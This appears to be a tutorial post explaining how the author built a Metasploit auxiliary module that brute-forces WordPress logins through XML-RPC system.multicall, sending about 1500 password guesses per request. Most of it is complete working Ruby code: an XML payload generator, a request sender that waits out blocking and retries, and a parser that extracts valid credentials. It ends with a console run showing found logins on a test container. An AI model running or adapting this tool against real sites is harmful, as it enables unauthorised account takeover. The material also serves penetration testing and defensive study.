Auxiliary module

    WordPress CMS framework support XML-RPC service to interact with almost all functions in the framework. Some functions require authentication. The main issues lies in the you can authenticate many times within the same request. WordPress accepts about 1788 lines of XML request which allows us to send tremendous number of login tries in a single request. So how awesome is this? Let me explain.

    Imagine that you have to brute force one user with 6000 passwords? How many requests you have to send in the normal brute force technique? It’s 6000 requests. Using our module will need to 4 requests only of you use the default CHUNKSIZE which is 1500 password per request!!!. NO MULTI-THREADING even you use multi-threading in the traditional brute force technique you’ll send 6000 request a few of its are parallel.

    So from above you can understand how the XML request will be build. Now How the reply will be?
    To simplify this we’ll test a single user once with wrong password another with correct password to understand the response behavior

    1. <methodResponse>
    2. <params>
    3. <param>
    4. <value>
    5. <array>
    6. <data>
    7. <value>
    8. <struct>
    9. <member>
    10. <name>faultCode</name>
    11. <value>
    12. <int>403</int>
    13. </value>
    14. </member>
    15. <member>
    16. <name>faultString</name>
    17. <value>
    18. <string>Incorrect username or password.</string>
    19. </value>
    20. </member>
    21. </struct>
    22. </value>
    23. </data>
    24. </array>
    25. </value>
    26. </param>
    27. </params>
    28. </methodResponse>

    We noticed the following

    • <name>faultCode</name>
    • <int>403</int>
    • <string>Incorrect username or password.</string>

    Usually we rely one the string response ‘Incorrect username or password.‘, but what if the WordPress language wasn’t English? so the best thing is the integer response which is 403

    correct password response

    1. <?xml version="1.0" encoding="UTF-8"?>
    2. <methodResponse>
    3. <params>
    4. <param>
    5. <value>
    6. <array>
    7. <data>
    8. <value>
    9. <array>
    10. <data>
    11. <value>
    12. <array>
    13. <data>
    14. <value>
    15. <struct>
    16. <member>
    17. <name>isAdmin</name>
    18. <value>
    19. <boolean>1</boolean>
    20. </value>
    21. </member>
    22. <member>
    23. <name>url</name>
    24. <value>
    25. <string>http://172.17.0.3/</string>
    26. </value>
    27. </member>
    28. <member>
    29. <name>blogid</name>
    30. <value>
    31. <string>1</string>
    32. </value>
    33. </member>
    34. <member>
    35. <name>blogName</name>
    36. <value>
    37. <string>Docker wordpress</string>
    38. </value>
    39. </member>
    40. <member>
    41. <name>xmlrpc</name>
    42. <value>
    43. <string>http://172.17.0.3/xmlrpc.php</string>
    44. </value>
    45. </member>
    46. </struct>
    47. </value>
    48. </data>
    49. </array>
    50. </value>
    51. </data>
    52. </array>
    53. </value>
    54. </data>
    55. </array>
    56. </value>
    57. </param>
    58. </params>
    59. </methodResponse>

    Awesome, right?

    The tricky part is just begun! Since we will be sending thousands of passwords in one request and the reply will be rally huge XML files, how we’ll find the position of the correct credentials? The answer is, by using the powerful ruby iteration methods, particularly each_with_index method.

    Enough talking, show me the code!

    What do we want?

    • Create Auxiliary module
    • Deal with Web Application
    • Deal with WordPress
    • Describe The module
    • Let people know we created this module
    • Add references about the vulnerability that we exploit
    • Options to set the target URI, port, user, pass list.
    • Read username and password lists as arrays
    • Build/Generate XML file takes a user and iterate around the passwords
    • Check if target is running WordPress
    • Check if target enabling RPC
    • Setup the HTTP with XML POST request
    • Parse XML request and response
    • Find the exact correct credentials
    • Check if we got blocked
    • Parsing the result and find which password is correct
    • Check if the module has been written correctly (msftidy.rb)

    Steps

    • Create Auxiliary module
    • Deal with Web Application
    • Deal with WordPress
    • Describe The module
    • Let people know we created this module
    • Add references about the vulnerability that we exploit
    • Options to set the target URI, port, user, pass list.
    1. ##
    2. # This module requires Metasploit: http://www.metasploit.com/download
    3. # Current source: https://github.com/rapid7/metasploit-framework
    4. ##
    5. require 'msf/core'
    6. class Metasploit3 < Msf::Auxiliary
    7. include Msf::Exploit::Remote::HttpClient
    8. include Msf::Exploit::Remote::HTTP::Wordpress
    9. def initialize(info = {})
    10. super(update_info(
    11. info,
    12. 'Name' => 'WordPress XML-RPC Massive Brute Force',
    13. 'Description' => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
    14. 'License' => MSF_LICENSE,
    15. 'Author' =>
    16. [
    17. 'Sabri (@KINGSABRI)', # Module Writer
    18. 'William (WCoppola@Lares.com)' # Module Requester
    19. ],
    20. 'References' =>
    21. [
    22. ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
    23. ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
    24. ]
    25. ))
    26. register_options(
    27. [
    28. OptString.new('TARGETURI', [true, 'The base path', '/']),
    29. OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
    30. File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
    31. OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
    32. File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
    33. OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
    34. OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
    35. end
    36. end
    • Read username and password lists as arrays
    • Build/Generate XML file takes a user and iterate around the passwords
    1. #
    2. # XML Factory
    3. #
    4. def generate_xml(user)
    5. vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
    6. xml_payloads = [] # Container for all generated XMLs
    7. # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
    8. passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
    9. document = Nokogiri::XML::Builder.new do |xml|
    10. xml.methodName("system.multicall")
    11. xml.params {
    12. xml.param {
    13. xml.value {
    14. xml.array {
    15. xml.data {
    16. pass_group.each do |pass|
    17. xml.value {
    18. xml.struct {
    19. xml.member {
    20. xml.name("methodName")
    21. xml.value { xml.string("wp.getUsersBlogs") }}
    22. xml.member {
    23. xml.name("params")
    24. xml.value {
    25. xml.array {
    26. xml.data {
    27. xml.value {
    28. xml.array {
    29. xml.data {
    30. xml.value { xml.string(user) }
    31. xml.value { xml.string(pass) }
    32. }}}}}}}}}
    33. end
    34. }}}}}}
    35. end
    36. xml_payloads << document.to_xml
    37. end
    38. vprint_status('Generating XMLs just done.')
    39. xml_payloads
    40. end
    • Check if target is running WordPress
    • Check if target enabling RPC
    1. #
    2. # Check target status
    3. #
    4. def check_wpstatus
    5. print_status("Checking #{peer} status!")
    6. if !wordpress_and_online?
    7. print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
    8. nil
    9. elsif !wordpress_xmlrpc_enabled?
    10. print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
    11. nil
    12. else
    13. print_status("Target #{peer} is running WordPress")
    14. true
    15. end
    16. end
    • Setup the HTTP with XML POST request
    1. #
    2. # Connection Setup
    3. #
    4. def send(xml)
    5. uri = target_uri.path
    6. opts =
    7. {
    8. 'method' => 'POST',
    9. 'uri' => normalize_uri(uri, wordpress_url_xmlrpc),
    10. 'data' => xml,
    11. 'ctype' =>'text/xml'
    12. }
    13. client = Rex::Proto::Http::Client.new(rhost)
    14. client.connect
    15. req = client.request_cgi(opts)
    16. res = client.send_recv(req)
    17. if res && res.code != 200
    18. print_error('It seems you got blocked!')
    19. print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
    20. sleep datastore['BLOCKEDWAIT'] * 60
    21. end
    22. @res = res
    23. end
    • Parse XML request and response
    • Find the exact correct credentials
    • Check if we got blocked
    • Parsing the result and find which password is correct

    Wrapping up

    1. ##
    2. # This module requires Metasploit: http://www.metasploit.com/download
    3. # Current source: https://github.com/rapid7/metasploit-framework
    4. ##
    5. require 'msf/core'
    6. class Metasploit3 < Msf::Auxiliary
    7. include Msf::Exploit::Remote::HttpClient
    8. include Msf::Exploit::Remote::HTTP::Wordpress
    9. def initialize(info = {})
    10. super(update_info(
    11. info,
    12. 'Name' => 'WordPress XML-RPC Massive Brute Force',
    13. 'Description' => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
    14. 'License' => MSF_LICENSE,
    15. 'Author' =>
    16. [
    17. 'Sabri (@KINGSABRI)', # Module Writer
    18. 'William (WCoppola@Lares.com)' # Module Requester
    19. ],
    20. 'References' =>
    21. [
    22. ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
    23. ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
    24. ]
    25. ))
    26. register_options(
    27. [
    28. OptString.new('TARGETURI', [true, 'The base path', '/']),
    29. OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
    30. File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
    31. OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
    32. File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
    33. OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
    34. OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
    35. ], self.class)
    36. end
    37. def usernames
    38. File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
    39. end
    40. def passwords
    41. File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
    42. end
    43. #
    44. # XML Factory
    45. #
    46. def generate_xml(user)
    47. vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
    48. xml_payloads = [] # Container for all generated XMLs
    49. # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
    50. passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
    51. document = Nokogiri::XML::Builder.new do |xml|
    52. xml.methodCall {
    53. xml.methodName("system.multicall")
    54. xml.params {
    55. xml.param {
    56. xml.value {
    57. xml.array {
    58. xml.data {
    59. xml.value {
    60. xml.struct {
    61. xml.member {
    62. xml.name("methodName")
    63. xml.value { xml.string("wp.getUsersBlogs") }}
    64. xml.member {
    65. xml.name("params")
    66. xml.value {
    67. xml.array {
    68. xml.data {
    69. xml.value {
    70. xml.array {
    71. xml.data {
    72. xml.value { xml.string(user) }
    73. xml.value { xml.string(pass) }
    74. }}}}}}}}}
    75. end
    76. }}}}}}
    77. end
    78. xml_payloads << document.to_xml
    79. end
    80. vprint_status('Generating XMLs just done.')
    81. xml_payloads
    82. end
    83. #
    84. # Check target status
    85. #
    86. def check_wpstatus
    87. print_status("Checking #{peer} status!")
    88. if !wordpress_and_online?
    89. print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
    90. nil
    91. elsif !wordpress_xmlrpc_enabled?
    92. print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
    93. nil
    94. else
    95. print_status("Target #{peer} is running WordPress")
    96. true
    97. end
    98. end
    99. #
    100. # Connection Setup
    101. #
    102. def send(xml)
    103. uri = target_uri.path
    104. opts =
    105. {
    106. 'method' => 'POST',
    107. 'uri' => normalize_uri(uri, wordpress_url_xmlrpc),
    108. 'data' => xml,
    109. 'ctype' =>'text/xml'
    110. }
    111. client = Rex::Proto::Http::Client.new(rhost)
    112. client.connect
    113. req = client.request_cgi(opts)
    114. res = client.send_recv(req)
    115. if res && res.code != 200
    116. print_error('It seems you got blocked!')
    117. print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
    118. sleep datastore['BLOCKEDWAIT'] * 60
    119. end
    120. @res = res
    121. end
    122. def run
    123. return if check_wpstatus.nil?
    124. usernames.each do |user|
    125. passfound = false
    126. print_status("Brute forcing user: #{user}")
    127. generate_xml(user).each do |xml|
    128. next if passfound == true
    129. send(xml)
    130. # Request Parser
    131. req_xml = Nokogiri::Slop xml
    132. # Response Parser
    133. res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
    134. puts res_xml
    135. res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
    136. result = value.at("struct/member/value/int")
    137. # If response error code doesn't not exist
    138. if result.nil?
    139. user = req_xml.search("data/value/array/data")[i].value[0].text.strip
    140. pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
    141. print_good("Credentials Found! #{user}:#{pass}")
    142. passfound = true
    143. end
    144. end
    145. unless user == usernames.last
    146. vprint_status('Sleeping for 2 seconds..')
    147. sleep 2
    148. end
    149. end end end
    150. end
    • Check if the module has been written correctly (msftidy.rb)
    1. metasploit-framework/tools/dev/msftidy.rb wordpress_xmlrpc_massive_bruteforce.rb
    1. msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > show options
    2. Module options (auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce):
    3. Name Current Setting Required Description
    4. ---- --------------- -------- -----------
    5. BLOCKEDWAIT 6 yes Time(minutes) to wait if got blocked
    6. CHUNKSIZE 1500 yes Number of passwords need to be sent per request. (1700 is the max)
    7. Proxies no A proxy chain of format type:host:port[,type:host:port][...]
    8. RHOST 172.17.0.3 yes The target address
    9. RPORT 80 yes The target port
    10. TARGETURI / yes The base path
    11. VHOST no HTTP server virtual host
    12. WPPASS_FILE /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_pass.txt yes File containing passwords, one per line
    13. WPUSER_FILE /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_users.txt yes File containing usernames, one per line
    14. msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > run
    15. [*] Checking 172.17.0.3:80 status!
    16. [*] Target 172.17.0.3:80 is running WordPress
    17. [*] Brute forcing user: admin
    18. [+] Credentials Found! admin:password
    19. [*] Brute forcing user: manager
    20. [*] Brute forcing user: root
    21. [*] Brute forcing user: cisco
    22. [*] Brute forcing user: apc
    23. [*] Brute forcing user: pass
    24. [*] Brute forcing user: security
    25. [*] Brute forcing user: user
    26. [*] Brute forcing user: system
    27. [+] Credentials Found! system:root
    28. [*] Brute forcing user: sys
    29. [*] Brute forcing user: wampp
    30. [*] Brute forcing user: newuser
    31. [*] Auxiliary module execution completed